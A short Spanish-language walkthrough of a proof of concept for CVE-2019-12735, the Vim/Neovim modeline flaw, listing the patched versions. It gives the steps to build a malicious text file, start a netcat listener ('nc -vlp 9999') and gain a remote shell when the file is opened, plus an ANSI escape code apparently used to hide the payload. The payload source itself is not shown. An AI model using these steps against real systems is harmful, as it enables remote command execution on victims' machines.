CVE-2019-12735

Este CVE fue corregido después de neovim 0.3.6 y vim 8.1.1365

POC

vim demo1.txt

Shell remota

1. Crea el archivo de texto malicioso:

gcc make_demo3.c -o make_demo3
./make_demo3

2. Compila el cliente en otra sesión:

nc -vlp 9999

3. Abre el archivo malicioso:

vim demo3.txt

Y luego, puedes ejecutar cualquier comando de linux en la sesión.

Referencia

• Una demo de PoC en github
• Exploit DB
• netcat

ANSI

• \x1b[?7l : No hace salto de línea al llegar al final de la línea, sobrescribe continuamente el último carácter